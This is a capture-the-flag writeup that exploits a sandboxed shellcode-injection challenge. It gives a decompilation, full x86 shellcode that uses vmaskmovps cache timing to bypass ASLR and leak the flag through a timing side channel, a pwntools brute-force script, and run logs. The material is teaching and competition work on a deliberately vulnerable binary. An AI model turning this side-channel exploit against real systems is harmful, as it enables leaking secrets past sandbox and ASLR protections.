dark
WWCTF pwn writeup using shellcode injection and a vmaskmov side channel to exfiltrate the flag under seccomp.
Introduction
The provided task gives us these files:
- main
- libc.so.6
- ld-linux-x86-64.so.2
- Dockerfile
- docker-compose.yml
This is a pwn challenge where a side-channel has to be used to exfiltrate the flag.
Solution
The main function is straightforward:
undefined8 main(void) {
undefined8 uVar1;
int iVar2;
code *shellcode_addr;
setup();
flag = malloc(0x100);
iVar2 = open("flag.txt",0);
read(iVar2,flag,0x1e);
close(iVar2);
shellcode_addr = (code *)mmap((void *)0x13371337,0x1000,7,0x22,-1,0);
uVar1 = DAT_00104028;
*(undefined8 *)shellcode_addr = shellcode;
*(undefined8 *)(shellcode_addr + 8) = uVar1;
uVar1 = DAT_00104038;
*(undefined8 *)(shellcode_addr + 0x10) = DAT_00104030;
*(undefined8 *)(shellcode_addr + 0x18) = uVar1;
uVar1 = DAT_00104048;
*(undefined8 *)(shellcode_addr + 0x20) = DAT_00104040;
*(undefined8 *)(shellcode_addr + 0x28) = uVar1;
uVar1 = DAT_00104058;
*(undefined8 *)(shellcode_addr + 0x30) = DAT_00104050;
*(undefined8 *)(shellcode_addr + 0x38) = uVar1;
uVar1 = DAT_00104068;
*(undefined8 *)(shellcode_addr + 0x40) = DAT_00104060;
*(undefined8 *)(shellcode_addr + 0x48) = uVar1;
*(undefined4 *)(shellcode_addr + 0x50) = DAT_00104070;
printf("%p\n",main);
puts("press exit to get the flag");
read(0,shellcode_addr + 0x53,0x100);
mprotect(shellcode_addr,0x1000,5);
iVar2 = arch_prctl(0x1002,0);
if (iVar2 != 0) {
perror("Failed to clear FS");
}
install_filter();
(*shellcode_addr)();
return 0;
}
It loads initial shellcode into memory, which simply clears all registers when executed. It then reads user input and appends it to the shellcode, providing a straightforward injection point.
Next, there are two critical function calls: mprotect() and install_filter().
The function call int mprotect(void *addr, size_t len, int prot) is invoked on the shellcode address with protection flags set to 5 = PROT_READ (1) | PROT_EXEC (4). This makes the shellcode region readable and executable but not writable.
The install_filter() function is responsible for limiting the available system calls through seccomp, allowing only the exit() syscall; reducing significantly the available exfiltration methods.
undefined8 install_filter(void) {
sock_filter filter;
filter.code = 4;
// int prctl(int op, ...);
syscall(0x9d, 38, 1, 0, 0, 0);
// int syscall(SYS_seccomp, unsigned int operation, unsigned int flags, void *args);
syscall(0x13d, 1, 0, &filter);
return 0;
}
Going back to main two particulars can be looked at:
the initial read() call in the main function gives away the flag’s length.
read(iVar2, flag, 0x1e);
also the program prints the least significant 3 bytes of the main address at runtime:
printf("%p\n", main);
from which we deduce the least significant 3 bytes (using offsets) of the flag’s address, significantly simplifying the brute-force process against ASLR. With these insights, we now turn to the method of exfiltrating the flag despite the syscall restrictions.
Since only the exit syscall is allowed, data exfiltration methods are limited. One viable approach is using the vmaskmovps instruction [1]. This allows us to iterate over potential addresses (due to ASLR) until a valid one is found.
These instructions suppress exceptions when the accessed memory page is invalid or inaccessible. By measuring CPU cycles before and after executing vmaskmovps, we detect cache misses (high cycle counts) and hits (low cycle counts).
The search range is limited to
0x500000000000 - 0x800000000000to minimize the number of cycles.
Finding a cache hit does not immediately give us the flag. Instead, it confirms that the memory address we tested is mapped and accessible. In this specific scenario, its known that the valid address we’re searching for could actually be the global variable flag, which contains a pointer to the flag string. Therefore, we dereference it and apply an offset to check each byte against our guessed character. If the guess matches the actual byte, the shellcode performs a prolonged loop, significantly increasing execution time. By measuring this delay, we confirm the correctness of our guess.
As a note, the program could still find a valid address that contains a pointer to a valid memory region that at the offset
idxcontains the charactercof the loop, giving us a false positive in the flag.A character that its not the correct one in that precise position.
That is why the script has to be run multiple times before finding the correct flag (by cross checking the outputs or by outputting the actual correct flag.)
mov r8, { 0x500000000000 | flag_addr }
bruteforce_aslr_addr:
vpxor xmm2, xmm2, xmm2
vmaskmovps xmm1, xmm2, [r8]
mfence
rdtscp
shl rdx, 32
or rax, rdx
mov r9, rax
vmaskmovps xmm1, xmm2, [r8]
mfence
rdtscp
shl rdx, 32
or rax, rdx
sub rax, r9
movabs r9, 0x800000000000
cmp r8, r9
jge exit
cmp rax, {CACHE_HIT_CYCLE_THRESHOLD}
jle cache_hit
add r8, 0x100000
jmp bruteforce_aslr_addr
cache_hit:
mov r8, qword ptr [r8]
mov bl, byte ptr [r8 + {idx}]
mov cl, {hex(ord(c))}
cmp bl, cl
jne exit
mov rcx, 0x950050000
delay_loop:
dec rcx
jnz delay_loop
exit:
mov rax, 60
xor rdi, rdi
syscall
The shellcode is then deployed using pwntools:
MAIN_OFFSET = 0x12D3
FLAG_OFFSET = 0x40A0
DELTA_TIME_THRESHOLD = 5
CACHE_HIT_CYCLE_THRESHOLD = hex(0x60)
for idx in range(31):
for c in string.ascii_letters + string.digits + '{}_':
io = start()
main_addr = int(io.recvline().strip(), 16)
base = main_addr - MAIN_OFFSET
flag_addr = base + FLAG_OFFSET
sc = asm(f"""
[shellcode]
""")
t0 = time.perf_counter()
io.send(sc)
io.recvall()
dt = time.perf_counter() - t0
io.close()
if dt > DELTA_TIME_THRESHOLD:
flag += c
break
Execution yields a partially correct flag:
ctf ❯ py assets/solution/solve.py PROC
[◑] Leaked addresses: base_addr[low] @ 0x563000, main_addr[low] @ 0x5642d3, flag_addr[low] @ 0x5670a0
[+] Leaking flag: flag= wwf{aaaaaaaaaaaaaaaaaaaaaaaaaQT
The second try finds the correct flag, with an execution time of 466s (circa 8 minutes)
ctf ❯ time py assets/solution/solve.py PROC
[*] Leaked addresses: base_addr[low] @ 0xefb000, main_addr[low] @ 0xefc2d3, flag_addr[low] @ 0xeff0a0
[+] Leaking flag: flag= wwf{aaaaaaaaaaaaaaaaaaaaaaaaa}M
python assets/solution/solve.py PROC DEBUG 466.72s user 12.63s system 99% cpu 8:00.35 total
The flag used for the test is
wwf{aaaaaaaaaaaaaaaaaaaaaaaaa}as its faster to search for it.